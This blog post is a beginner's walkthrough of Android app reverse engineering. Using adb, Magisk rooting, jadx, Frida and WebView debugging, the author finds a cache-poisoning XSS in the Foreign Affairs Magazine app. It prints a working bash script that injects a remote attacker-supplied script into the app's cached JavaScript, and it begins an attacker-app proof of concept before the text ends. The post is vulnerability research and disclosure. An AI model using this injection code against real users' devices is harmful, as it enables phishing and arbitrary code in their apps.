Baby's First Steps in Android App Reverse Engineering

Posted on May 23, 2023

This post is a summary of what I learned on the way of finding my first low-severity vulnerability in an Android application. I describe the modern tools which can be used for reverse engineering, how theory helps structure the work in order to save time, show a POC for an XSS in the Foreign Affairs Magazine v3.0 Android application and end with how looking into apps written by the same developer led to discovering the same vulnerability in a different app - The Spectator Magazine v7.1.

While the vulnerability described is not particullary exciting, my hope is that some of the steps will be helpful for people starting out with Android app reverse engineering.

Initial target

Before jumping into any work, we need an application to reverse engineer. The most interesting recommendations for picking a target I read about was 1) go by personal interest and 2) find apps which don’t have too many downloads (100k might be a good number - neither too irrelevant nor too hard).

The first application I looked into was Resident Advisor. I jumped into a review without having solid theoretical foundations and found myself in rabbit holes with no good results quickly which was fairly demoralizing. After being fed up with the lack of progress, I took a step back and looked into ways of improving my workflow using theory.

Methodology

Being stuck is not fun. What I found can bring back the fun is applying discipline, specifically in the form of methodology to follow. Mark Dowd’s The Art of Software Security Assessment, an industry classic, contains ideas which can be use as a basis for the audit of any codebase. Here is an excerpt from a chapter named “Application Review Process”:

Conducting an application security review can be a daunting task; you’re presented with a piece of software you aren’t familiar with and are expected to quickly reach a zenlike communion with it to extract its deepest secrets. You must strike a balance in your approach so that you uncover design, logic, operational, and implementation flaws, all of which can be difficult to find. Of course, you will rarely have enough time to review every line of an application. So you need understand how to focus your efforts and maintain good coverage of the most security-relevant code.

Mixing that book’s chapter with a list of potential vulnerabilities one can find in a modern Android application leads to a script which can be followed so as not to get lost. Here is an excerpt from the text file named METHODOLOGY.txt I created and used as a reference throughout the review process:

//...content omitted
- goal: find most significant vulnerabilities in the shortest amount of time
- process:
  -- plan: take some time to decide what to do next
  -- work: perform the auditing strategy, taking extensive notes
  -- reflect: take a moment to make sure you're managing your time well and are still on track. figure out what you've learned from the work you just performed

- plan:
  -- find classes of bugs which are easy to find via substring searches
  -- move on to medium-level bugs / high-level bugs

- create a master ideas list
  -- pick goals which are attainable in 2 to 8 hours; keeps you on track and prevenets you from getting discouraged
  --- examples: identify all entry points in an application; making lists of potentially vulnerable functions in use
  --- later goals: tracing a complex and potentially vulnerable pathway OR validating the design of a higher-level component against the implementation

//...content omitted
what are the possible vulnerabilities found in the Android application?

- [easy] use of insecure network protocols:
-- q1: does the _network security config_ allow insecure protocols? OR targetSdk < 29???
-- q2: are there any strings starting with `http:`, `ftp:`, `smtp:`

- [medium] cross-app scripting
-- q1: what are all the calls to `loadUrl` and `evaluateJavascript` in the app?
-- q2: are there any sources reaching arguments of `loadUrl` or `evaluateJavascript` without sanitization?
-- q3: are any insecure loads on webViews with `setAllowFileAccess(true)`?
//...content omitted

The content specific to Android vulnerabilities has been taken from OWASP’s Mobile App Secure Testing Guide, Google’s Android app vulnerability classes PDF and a few other random Google results.

Choosing a second target

With a stronger tool in place - that of methodology -, I started looking into The Economist Android App. Going through the codebase methodically felt much better than my initial attempt, but soon after starting I noticed that the chunk of the main logic was written in React Native, which seemed like a pain to look into, so I decided to move on to a second target. One of the suggested apps in same Google Play Store category as The Economist was the Foreign Affairs Magazine Android App, so I decided to look into it.

Picture of target device displaying the Foreign Affairs Android App

Android Debug Bridge

Reverse engineering Android applications requires tools, and one of the essential tools is adb. The Android Debug Bridge isn’t necessary for finding security vulnerabilities per se, but it is required for tasks like pushing or pulling files from a device or emulator, shell access or listing installed packages.

From its official documentation page:

Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps. adb provides access to a Unix shell that you can use to run a variety of commands on a device.

adb is available in major Linux distributions:

$ apt search '^adb'
Sorting... Done
Full Text Search... Done
adb/testing,now 1:29.0.6-26 amd64 [installed]
  Android Debug Bridge

More information can be found on its official user guide.

Rooted Android Device

While it is possible to reverse engineer Android applications using an emulator, I much more prefer to have a real device because that makes the setup closer to the real user experience. I also find that emulators tend to have their own bugs and oftentimes get stuck which is frustrating. Second-hand devices which are a few years old are not too expensive. If you can afford one, I recommend a Google Pixel which is one or two generations behind - too old and it’s too slow, too new and it costs too much.

In order to make the best use of a research device, it’s worth rooting it so that you have the highest level of flexibility in controlling the system. WikiPedia defines rooting like so:

Rooting is the process by which users of Android devices can attain privileged control (known as root access) over various subsystems of the device, usually smartphones. […] Rooting is often performed with the goal of overcoming limitations that carriers and hardware manufacturers put on some devices. Thus, rooting gives the ability (or permission) to alter or replace system applications and settings, run specialized applications (“apps”) that require administrator-level permissions or perform other operations that are otherwise inaccessible to a normal Android user.

In the context of finding security vulnerabilities in Android apps, rooting allows you to disable or bypass certain security features which make the process of reverse engineering harder.

The easiest way to root an Android device is by using Magisk. To sum up the process which takes about an hour: you enable development mode on your device, you make sure adb sees the device, you unlock the bootloader with fastboot, you download a boot image for your device from the official Google page, you patch the image using Magisk, then you flash the patched image using fastboot. Decent guides can be found here and here.

// rooted device is ready
$ adb shell
redfin:/ $ su -
redfin:/ # whoami
root

Source Code Access

The base setup is out of the way, now we want to see the source code which makes up the target application. Android applications are distributed as APK files. From WikiPedia:

An APK file contains all of a program’s code (such as .dex files), resources, assets, certificates, and manifest file.

To obtain the APK for our target application - the Foreign Affairs Android App -, we use adb.

First, we list all installed packages and grep for foreignaffairs:

$ adb shell pm list packages  | grep foreign
package:com.foreignaffairs.magazine

Next, we print the path to the base apk:

$ adb shell pm path com.foreignaffairs.magazine
package:/data/app/~~Fb_JHjxizM_y4FJC8rZd-Q==/com.foreignaffairs.magazine-tcR2k0SOD8Tmv6MRWtb_hw==/base.apk

Then we pull the apk from the device:

$ adb pull /data/app/~~Fb_JHjxizM_y4FJC8rZd-Q==/com.foreignaffairs.magazine-tcR2k0SOD8Tmv6MRWtb_hw==/base.apk ./foreignaffairs.apk
/data/app/~~Fb_JHjxizM_y4FJC8rZd-Q==/com.foreignaffairs.magazine-tcR2...e.apk: 1 file pulled, 0 skipped. 37.3 MB/s (17179897 bytes in 0.440s)

Now, in order to view the actual source code, we need a decompiler. jadx is the go-to tool for viewing and extracting apk contents. Here’s how the apk we pulled looks like in jadx-gui:

Image of the tool jadx-gui showing source code of the target application

Before we start looking for vulnerabilities, we export the sources so that we can search for patterns more easily on the command line. jadx allows us to do that by clicking File > Save all. With that, we have everything we need and can start looking for vulnerabilities.

Searching For Bugs

The Android Manifest File gives us the entry point into the application (com.kaldorgroup.pugpigbolt.ui.LauncherActivity) and also the namespace we want to look at (com.kaldorgroup):

$ grep -R -C3 'android:name="android.intent.action.MAIN' .
./resources/AndroidManifest.xml-        </activity>
./resources/AndroidManifest.xml-        <activity-alias android:icon="@mipmap/appicon" android:name="com.kaldorgroup.pugpigbolt.app.appicon" android:enabled="true" android:exported="true" android:targetActivity="com.kaldorgroup.pugpigbolt.ui.LauncherActivity" android:roundIcon="@mipmap/appicon_round">
./resources/AndroidManifest.xml-            <intent-filter>
./resources/AndroidManifest.xml:                <action android:name="android.intent.action.MAIN"/>
./resources/AndroidManifest.xml-                <category android:name="android.intent.category.LAUNCHER"/>
./resources/AndroidManifest.xml-            </intent-filter>
./resources/AndroidManifest.xml-        </activity-alias>

After skimming various files in the com.kaldorgroup namespace, we pick WebViews as the initial target of interest. A simple grep gives us multiple spots in which data is loaded in webviews with calls to loadUrl:

$ grep -I -R loadUrl . | grep kaldorgroup
./sources/com/kaldorgroup/pugpigbolt/ui/views/ContentWebLayout.java:        this.webView.loadUrl(str);
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/StorefrontFragment.java:        this.webView.loadUrl(App.getURLWriter().noxyURL(App.getBoltStorefrontHtmlUrl()));
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/TimelineFragment.java:        this.webView.loadUrl(this.timeline.getUrlRewriter().noxyURL(App.getBoltTimelineHtmlUrl()));
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/TimelineFragment.java:        this.webView.loadUrl("about:blank");
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/WebViewFragment.java:                this.binding.webview.loadUrl(WebViewHelper.injectConfigQueryParamsForUrl(string));
./sources/com/kaldorgroup/pugpigbolt/ui/SettingsContentActivity.java:            this.binding.webview.loadUrl(WebViewHelper.injectConfigQueryParamsForUrl(uri));

Before looking more closely, it makes sense to get a feel for how closely developers paid attention to security best practices around WebViews. A simple heuristic is to check whether certain WebView settings which are considered dangerous (e.g. universal file access) are enabled. A good list of potential issues can be found on this page from Oversecured.

File access is enabled in one place:

$ grep -I -R llowFileAcc . | grep kaldorgroup
./sources/com/kaldorgroup/pugpigbolt/ui/webview/WebViewHelper.java:        settings.setAllowFileAccess(true

As is JavaScript execution:

$ grep -I -R JavaScript . | grep kaldorgroup
./sources/com/kaldorgroup/pugpigbolt/ui/webview/WebViewHelper.java:        settings.setJavaScriptEnabled(true);

We have a few calls to evaluateJavascript:

$ grep -I -R evaluateJavascript . | grep kaldorgroup
./sources/com/kaldorgroup/pugpigbolt/ui/webview/WebViewHelperWebChromeClient.java:            this.webView.evaluateJavascript(fixNativeConsoleLogJavascript(), null);
./sources/com/kaldorgroup/pugpigbolt/ui/views/ContentWebLayout.java:            webView.evaluateJavascript(String.format(Locale.US, "document.documentElement.style.fontSize = (%f*100) + '%%';", Double.valueOf(App.activeFontSize())), null);
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/StorefrontFragment.java:            this.webView.evaluateJavascript(PugpigBridgeService.getUpdateScriptFor("timeline", jSONObject.toString()), null);
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/StorefrontFragment.java:        this.webView.evaluateJavascript(PugpigBridgeService.getUpdateScriptFor(PugpigBridgeService.SCRIPT_AUTHORISATION_STATUS, new String[0]), null);
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/StorefrontFragment.java:        this.webView.evaluateJavascript(PugpigBridgeService.getUpdateScriptFor(PugpigBridgeService.SCRIPT_ISSUE_AUTHORISATION_STATUS, new String[0]), null);
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/FeedTimelineFragment.java:            this.webView.evaluateJavascript(PugpigBridgeService.getUpdateScriptFor("updateTime", new String[0]), null);
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/TimelineFragment.java:        this.webView.evaluateJavascript(PugpigBridgeService.getUpdateScriptFor(PugpigBridgeService.SCRIPT_AUTHORISATION_STATUS, new String[0]), null);
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/TimelineFragment.java:        this.webView.evaluateJavascript(PugpigBridgeService.getUpdateScriptFor(PugpigBridgeService.SCRIPT_ISSUE_AUTHORISATION_STATUS, new String[0]), null);

And multiple methods exposed to JavaScript via JavascriptInterface:

$ grep -I -R -A1 JavascriptInterface . | grep kaldorgroup
//...output omitted
./sources/com/kaldorgroup/pugpigbolt/ui/webview/LegacyTimelineBridge.java:    @JavascriptInterface
./sources/com/kaldorgroup/pugpigbolt/ui/webview/LegacyTimelineBridge.java-    public void viewArticle(String str) {
//...output omitted
./sources/com/kaldorgroup/pugpigbolt/ui/webview/WebViewHelper.java:            webView.addJavascriptInterface(new PugpigBridgeService() { // from class: com.kaldorgroup.pugpigbolt.ui.webview.WebViewHelper.1
./sources/com/kaldorgroup/pugpigbolt/ui/webview/WebViewHelper.java-                @Override // com.kaldorgroup.pugpigbolt.ui.webview.PugpigBridgeService
//...output omitted
./sources/com/kaldorgroup/pugpigbolt/ui/webview/PugpigBridgeService.java:    @JavascriptInterface
./sources/com/kaldorgroup/pugpigbolt/ui/webview/PugpigBridgeService.java-    public void openImageGallery(String str) {
//...output omitted
./sources/com/kaldorgroup/pugpigbolt/ui/views/ContentWebLayout.java:            this.webView.addJavascriptInterface(new PugpigBridgeService() { // from class: com.kaldorgroup.pugpigbolt.ui.views.ContentWebLayout.1
//...output omitted
./sources/com/kaldorgroup/pugpigbolt/ui/views/ContentWebLayout.java-                public String baseUrl() {
./sources/com/kaldorgroup/pugpigbolt/ui/views/ContentWebLayout.java:                @JavascriptInterface
//...output omitted
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/StorefrontFragment.java:        this.webView.addJavascriptInterface(new StorefrontBridge(), "pugpigBridgeService");
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/StorefrontFragment.java-        this.webView.setWebViewClient(new WebViewHelperClient() { // from class: com.kaldorgroup.pugpigbolt.ui.fragment.StorefrontFragment.1
//...output omitted
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/FeedTimelineFragment.java:        @JavascriptInterface
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/FeedTimelineFragment.java-        public String updateTime() {
./sources/com/kaldorgroup/pugpigbolt/ui/fragment/TimelineFragment.java:            this.webView.addJavascriptInterface(getTimelineBridge(), "pugpigBridgeService");
//...output omitted

Given all of this, it seems like it is indeed a good idea to look more closely at logic around the usage of WebViews. Specifically, we want to be able to say whether it is possible for an attacker to control any of the content which is rendered in one of the application’s WebViews, and if so, if that WebView is configured in such a way that it can cause damage to the application. We might be able to look at the source code and answer those questions, but the we are dealing with more than 53k lines of decompiled code in the com.kaldorgroup namespace:

$ cloc .
     335 text files.
     335 unique files.
       0 files ignored.

github.com/AlDanial/cloc v 1.96  T=0.29 s (1148.9 files/s, 202836.2 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
Java                           335           4312           1338          53492
-------------------------------------------------------------------------------
SUM:                           335           4312           1338          53492
-------------------------------------------------------------------------------

So it might be easier to turn to dynamic program analysis instead.

Dynamic Analysis with Frida

This is how Frida is described in its documentation:

It’s Greasemonkey for native apps, or, put in more technical terms, it’s a dynamic code instrumentation toolkit. It lets you inject snippets of JavaScript or your own library into native apps on Windows, macOS, GNU/Linux, iOS, watchOS, tvOS, Android, FreeBSD, and QNX. Frida also provides you with some simple tools built on top of the Frida API. These can be used as-is, tweaked to your needs, or serve as examples of how to use the API.

Frida allows us to achive the goal of figuring out what the WebViews of the application are doing and how those WebViews are configured.

The Frida setup is straightforward. We create a Python virtual environment:

$ python3 -m venv .venv

We activate that environment and install the Python bindings for Frida together with the Frida CLI tools:

$ source .venv/bin/activate
$ pip install frida frida-tools
  Downloading frida-16.0.10-cp37-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl (19.2 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 19.2/19.2 MB 18.4 MB/s eta 0:00:00
Collecting frida-tools
  Downloading frida-tools-12.1.1.tar.gz (177 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 177.6/177.6 kB 14.1 MB/s eta 0:00:00
//output omitted
Successfully installed colorama-0.4.6 frida-16.0.10 frida-tools-12.1.1 prompt-toolkit-3.0.36 pygments-2.14.0 wcwidth-0.2.6

We dowload frida-server from Frida’s GitHub release page, unarchive the file, push it onto the device using adb, make the binary executable and then start the program:

$ wget https://github.com/frida/frida/releases/download/16.0.10/frida-server-16.0.10-android-arm64.xz
//output omitted
2023-02-20 15:18:37 (10.8 MB/s) - ‘frida-server-16.0.10-android-arm64.xz’ saved [15602328/15602328]
$ unxz frida-server-16.0.10-android-arm64.xz
$ adb push ./frida-server-16.0.10-android-arm64 /data/local/tmp/frida-server-16.0.10
./frida-server-16.0.10-android-arm64: 1 file pushed, 0 skipped. 34.6 MB/s (52214528 bytes in 1.439s)
$ adb shell
redfin:/ $ su -
redfin:/ # cd /data/local/tmp
redfin:/data/local/tmp # chmod +x frida-server-16.0.10
[1] + Done (126)           ./frida-server-16.0.10
redfin:/data/local/tmp # ./frida-server-16.0.10 &
[1] 10633

With the Frida server running, we execute a Frida script which launches our target applications and overwrites the launch activity’s onCreate method to print a message when it is invoked. Here is how the script looks like:

// onLoadPrint.js
setTimeout(function () {
  Java.perform(function () {
    console.log("`onLoadPrint.js` script started.");

    const className = "com.kaldorgroup.pugpigbolt.ui.LauncherActivity";
    const clazz = Java.use(className);
    clazz.onCreate.overload('android.os.Bundle').implementation = function(bundle) {
      this.onCreate(bundle);
      console.log("`onCreate` called.");
    };
  });
}, 0);

And here is how we launch the target application with the script injected:

$ frida -U -l onLoadPrint.js -f com.foreignaffairs.magazine

     ____
    / _  |   Frida 16.0.10 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Pixel 5 (id=09211FDD40035Y)
Spawned `com.foreignaffairs.magazine`. Resuming main thread!
[Pixel 5::com.foreignaffairs.magazine ]-> `onLoadPrint.js` script started.
`onCreate` called.

With the basic dynamic instrumention out of the way, we can now focus on understanding the WebViews of the application. We expand our previous script to make it print the first argument of all loadUrl calls:

// loadURLPrint.js
setTimeout(function () {
  Java.perform(function () {
    console.log("`loadURLPrint.js` script started.");

    const className = "com.kaldorgroup.pugpigbolt.ui.LauncherActivity";
    const clazz = Java.use(className);
    clazz.onCreate.overload('android.os.Bundle').implementation = function(bundle) {
      this.onCreate(bundle);
      console.log("`onCreate` called.");
    };

    const webViewClazzName = "android.webkit.WebView";
    const webViewClazz = Java.use(webViewClazzName);
    webViewClazz.loadUrl.overload('java.lang.String').implementation = function(url) {
      this.loadUrl(url);
      console.log("`loadUrl` called for `" + url + "`.");
    };
  });
}, 0);

We run the script, and after the target app is launched, we tap around on various content and watch the loadUrl invocations:

$ frida -U -l loadURLPrint.js -f com.foreignaffairs.magazine
//...output omitted
[Pixel 5::com.foreignaffairs.magazine ]-> `loadURLPrint.js` script started.
`onCreate` called.
`loadUrl` called for `http://localhost:62824/bolt_storefront.html`.
`loadUrl` called for `http://localhost:62824/bolt_timeline.html`.
`loadUrl` called for `http://localhost:62824/bolt_timeline.html`.
`loadUrl` called for `https://googleads.g.doubleclick.net/mads/static/mad/sdk/native/production/sdk-core-v40-impl.html`.
`loadUrl` called for `http://localhost:62824/2023/02/20/the-developing-worlds-coming-debt-crisis/content.html`.
`loadUrl` called for `http://localhost:62824/2023/02/20/the-persistence-of-great-power-politics/content.html`.
`loadUrl` called for `http://localhost:62824/2023/02/17/dont-bet-against-india/content.html`.
`loadUrl` called for `http://localhost:62824/2023/02/20/the-persistence-of-great-power-politics/content.html`.
`loadUrl` called for `http://localhost:62824/2023/02/17/kyiv-and-moscow-are-fighting-two-different-wars/content.html`.

From these console logs, we see that the WebViews of the application are sending requests to a local web server listening at localhost:62824. Discovering the local web server made me interested in looking at the application’s data, to see what is on the device. To find all potentially interesting spots we try to find all directories on the device with the application’s identifier as a name com.foreignaffairs.magazine:

1|redfin:/ # find / -type d -name com.foreignaffairs.magazine 2>/dev/null
/data_mirror/ref_profiles/com.foreignaffairs.magazine
/data_mirror/cur_profiles/0/com.foreignaffairs.magazine
/data_mirror/data_de/null/0/com.foreignaffairs.magazine
/data_mirror/data_ce/null/0/com.foreignaffairs.magazine
/storage/emulated/0/Android/data/com.foreignaffairs.magazine  // <-- external storage
/data/misc/profiles/cur/0/com.foreignaffairs.magazine
/data/misc/profiles/ref/com.foreignaffairs.magazine
/data/data/com.foreignaffairs.magazine
/data/system/graphicsstats/1676851200000/com.foreignaffairs.magazine
/data/user/0/com.foreignaffairs.magazine
/data/user_de/0/com.foreignaffairs.magazine
/data/media/0/Android/data/com.foreignaffairs.magazine
/dev/pqiKH/.magisk/mirror/data/misc/profiles/cur/0/com.foreignaffairs.magazine
/dev/pqiKH/.magisk/mirror/data/misc/profiles/ref/com.foreignaffairs.magazine
/dev/pqiKH/.magisk/mirror/data/data/com.foreignaffairs.magazine
/dev/pqiKH/.magisk/mirror/data/system/graphicsstats/1676851200000/com.foreignaffairs.magazine
/dev/pqiKH/.magisk/mirror/data/user_de/0/com.foreignaffairs.magazine
/dev/pqiKH/.magisk/mirror/data/media/0/Android/data/com.foreignaffairs.magazine
/mnt/pass_through/0/emulated/0/Android/data/com.foreignaffairs.magazine
/mnt/androidwritable/0/emulated/0/Android/data/com.foreignaffairs.magazine
/mnt/installer/0/emulated/0/Android/data/com.foreignaffairs.magazine
/mnt/user/0/emulated/0/Android/data/com.foreignaffairs.magazine

One particular entry is the directory inside external storage /storage/emulated/0/Android/data/com.foreignaffairs.magazine. Listing the content of the directory gives us:

redfin:/storage/emulated/0/Android/data/com.foreignaffairs.magazine # find . -type d -maxdepth 4
.
./files
./files/com.foreignaffairs.magazineAudioDownloadData
./cache
./cache/bolt_cache
./cache/bolt_cache/reader.foreignaffairs.com
./cache/bolt_cache/reader.foreignaffairs.com/editionfeed
./cache/bolt_cache/reader.foreignaffairs.com/2023
./cache/bolt_cache/reader.foreignaffairs.com/wp-content
./cache/bolt_cache/reader.foreignaffairs.com/styles
./cache/bolt_cache/reader.foreignaffairs.com/2022
./cache/bolt_cache/reader.foreignaffairs.com/bolt_timeline
./cache/bolt_cache/reader.foreignaffairs.com/bolt
./cache/bolt_cache/reader.foreignaffairs.com/full_page_image
./cache/bolt_cache/reader.foreignaffairs.com/wp-includes
./cache/bolt_cache/main-foreignaffairs-foreignrelations.content.pugpig.com
./cache/app_cache

It looks like the application’s local HTTP server caches content on external storage. If that content is shown to the user without validation, an attacker could present the user with a phishing page for stealing their credentials.

To test this hypothesis, we want to find out what cached content is shown exactly when the user opens one of the main content pages. Hooking more functions with Frida could be a solution, but there is something better we can do: webview debugging.

A slight change to our Frida script enables webview debugging:

// foreignaffairs.js
setTimeout(function () {
  Java.perform(function () {
    console.log("`loadURLPrint.js` script started.");

    const className = "com.kaldorgroup.pugpigbolt.ui.LauncherActivity";
    const clazz = Java.use(className);
    clazz.onCreate.overload('android.os.Bundle').implementation = function(bundle) {
      this.onCreate(bundle);
      console.log("`onCreate` called.");
    };

    const webViewClazzName = "android.webkit.WebView";
    const webViewClazz = Java.use(webViewClazzName);
    webViewClazz.loadUrl.overload('java.lang.String').implementation = function(url) {
       this.setWebContentsDebuggingEnabled(true); // enable webview debugging
       this.loadUrl(url);
       console.log("`loadUrl` called for `" + url + "`.");
    };
  });
}, 0);

We launch the target application once again using the modified script:

$ frida -U -l foreignaffairs.js -f com.foreignaffairs.magazine
//...output omitted

We then launch Chrome and open chrome://inspect/#devices which shows all instances of debuggable WebViews which are reacheble by Chrome’s DevTools:

Image of Chrome’s WebView inspect window

Clicking Inspect on one of them allows us to use Googles’s Inspector on the web content rendered on the device. Specifically, the Network tab will give us all the web resources which are loaded.

Image of a WebView debugged with Chrome’s inspect window

The first resource which is loaded is content.html from the URL http://localhost:62824/2023/02/20/the-developing-worlds-coming-debt-crisis/content.html:

Image of a WebView debugged with Chrome’s inspect window

We can find a corresponding file in the cache for that specific resource:

redfin:/storage/emulated/0/Android/data/com.foreignaffairs.magazine/cache # find . -name "*content.html" | grep developing
./bolt_cache/reader.foreignaffairs.com/2023/02/20/the-developing-worlds-coming-debt-crisis/content.html

The file starts with a number of HTTP headers followed by HTML content:

$ cat content.html
HTTP/1.1 200
//...output omitted
last-modified: Mon, 20 Feb 2023 05:55:51 GMT
content-type: text/html
//...output omitted
<!DOCTYPE html>
<html dir="ltr" class="no-js" lang="en-GB">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>The Persistence of Great-Power Politics</title>
//...output omitted

To test that the content from the cache is shown to the user, we pull the content.html file, replace its contents with a simple HTML page and then push the file back onto the device:

$ adb pull /storage/emulated/0/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/2023/02/20/the-persistence-of-great-power-politics/content.html ./
/storage/emulated/0/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/2023/02/20/the-persistence-of-great-power-politics/content.html: 1 file pulled, 0 skipped. 13.3 MB/s (51087 bytes in 0.004s)
$ cp content.html content.html.bkup
$ sed -i -n '/.*DOCTYPE.*/q;p' content.html
$ printf "\n<\!DOCTYPE html><html><head></head><body style='background: white; color: black; font-size: 2em;'>Cache entry content changed to this.</body></html>" >> content.html
$ adb push content.html /storage/emulated/0/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/2023/02/20/the-persistence-of-great-power-politics/
content.html: 1 file pushed, 0 skipped. 0.5 MB/s (1642 bytes in 0.003s)

Opening the view in which the content was displayed, we see that canching the cache entry does indeed display the content to the user:

Picture of target device displaying injected content

That’s neat, we have code injection. But changing all content.html files is tedious and repetative and we can likely achieve a better result by finding a shared JavaScript file which is loaded in all HTML pages which are displayed in WebViews.

Tapping through the various views of the target application, we notice that two JavaScript files are almost always loaded: /bolt_timeline/4.7.2/index.411ed16c.js is loaded when list views need to be displayed. /wp-content/themes/pugpig-inthecloudstheme-theme/scripts/main-421d1cc8.js is loaded whenever an article detail view is loaded. The index.411ed16c.js might be named differently on a different device, e.g. index.SOME_HASH.js.

To confirm that patching these files actually works:

// patching `main-421d1cc8.js`
$ adb pull /sdcard/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/wp-content/themes/pugpig-inthecloudstheme-theme/scripts/main-421d1cc8.js ./
/sdcard/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/wp-content/themes/pugpig-inthecloudstheme-theme/scripts/main-421d1cc8.js: 1 file pulled, 0 skipped. 2.2 MB/s (12331 bytes in 0.005s)
$ sed -i 's|.*DOMContentLoaded.*|&\n  alert("injected script executed");|g' main-421d1cc8.js
$ adb push ./main-421d1cc8.js /sdcard/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/wp-content/themes/pugpig-inthecloudstheme-theme/scripts/main-421d1cc8.js
./main-421d1cc8.js: 1 file pushed, 0 skipped. 1.9 MB/s (12331 bytes in 0.006s)
// patching `index.411ed16c.js`
$ adb pull /sdcard/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/bolt_timeline/4.7.2/index.411ed16c.js ./
$ grep -c hola index.411ed16c.js || echo '(function(){ alert("hola"); })();' >> index.411ed16c.js // patch only once
$ adb push ./index.411ed16c.js /sdcard/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/bolt_timeline/4.7.2/index.411ed16c.js

Image showing the target application with alert view demonstrating code injection

As seen in the image, injecting arbitrary JavaScript via the HTTP cache works. An attacker with access to the SD Card of the device can easily remove it, run a script, and inject HTML or execute JavaScript freely. An example of a script which would do the job looks like this:

#!/usr/bin/env bash
#
# `patchjs.sh`
#
# Example usage:
# ```
# $ ./patchjs.sh ./reversing/bkup/sdcard https://vroooom.io/script.js
# Successfully patched 'main-421d1cc8.js'.
# Successfully patched 'index.411ed16c.js'.
# Done.
# ```

set -o errexit
set -o pipefail

# Script starts here
readonly SOURCES_DIR=$1
readonly SCRIPT_URL=$2
if [[ ! "$SCRIPT_URL" =~ ^https.* ]]; then
    echo "SCRIPT_URL does not start with 'https'. Exiting."
    exit 1
fi

# patch `main-421d1cc8.js`
readonly FIRST_JS_FILENAME='main-421d1cc8.js'
readonly FIRST_FIND_RESULTS=$(find "${SOURCES_DIR}" -name "${FIRST_JS_FILENAME}" -type f)
[ -z "$FIRST_FIND_RESULTS" ] && echo "First JS file not found in sources directory. Exiting." && exit 1
find -name "${FIRST_JS_FILENAME}" -type f \
  | xargs -I{} sh -c 'sed -i "/injectScriptURL/d" {} && echo {}' \
  | xargs -I{} sed -i "s|.*DOMContentLoaded.*|&\n var injectScriptURL='${SCRIPT_URL}',elem=document.createElement('script');elem.setAttribute('src',injectScriptURL),document.getElementsByTagName('head')[0].appendChild(elem);|g" {}
echo "Successfully patched '${FIRST_JS_FILENAME}'."

# patch `index.411ed16c.js`
readonly SECOND_JS_FILENAME='index.411ed16c.js'
readonly SECOND_FIND_RESULTS=$(find "${SOURCES_DIR}" -name "${SECOND_JS_FILENAME}" -type f)
[ -z "$SECOND_FIND_RESULTS" ] && echo "Second JS file not found in sources directory. Exiting." && exit 1
find -name "${SECOND_JS_FILENAME}" -type f \
  | xargs -I{} sh -c 'sed -i "/injectScriptURL/d" {} && echo {}' \
  | xargs -I{} sh -c "echo '(function(){ var injectScriptURL='${SCRIPT_URL}',elem=document.createElement('script');elem.setAttribute('src',injectScriptURL),document.getElementsByTagName('head')[1].appendChild(elem); })();' >> {}"
echo "Successfully patched '${SECOND_JS_FILENAME}'."

echo "Done."

POC for XSS

An attack which requires removing the SD Card is not very practical, what would be more fun is to have an app on the same device be able to rewrite the cache. This particular attack works only on a subset of devices - specifically Android 6 to Android 10, but the market share of devices using those versions is large enough (in 2023 35% to 40% according to this statistic) that the impact of the vulnerability is non-negligible.

The POC is fairly straightforward: we create a sample attacker application which overwrites the HTTP cache entry of an important file, in our case bolt_timeline.html, the HTML file which is loaded for almost all important application screens.

In the attacker application we first request permissions to overwrite content on the external storage of the device:

ActivityCompat.requestPermissions(this,
    new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE}, 111);

We then look for the bolt_timeline.html file in the cache directory of the Foreign Affairs Magazine app:

String path = "/sdcard/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/";
File f = new File(path);
File[] files = f.listFiles();
File targetFile = null;
if (files != null && files.length > 0) {
    for (File inFile : files) {
        if (inFile.isFile() && inFile.getName().startsWith("bolt_timeline.") && inFile.getName().endsWith(".html")) {
            targetFile = inFile;
        }
    }
}

The file looks like this:

HTTP/1.1 200
x-amz-id-2: XiPwyNNGXrOiIVfe1RZvWOcB3c0TG9IiIqzRfqhTTRY1pAMaWwV7mhAKmRYpnXTSCFiQg4PuI5MAJ2HYd0AJNA==
x-amz-request-id: TSXV08Q2JW819DS6
last-modified: Tue, 28 Feb 2023 10:31:01 GMT
etag: "3b9346efa5f154c3dc45f67bf4b8c162"
x-amz-server-side-encryption: AES256
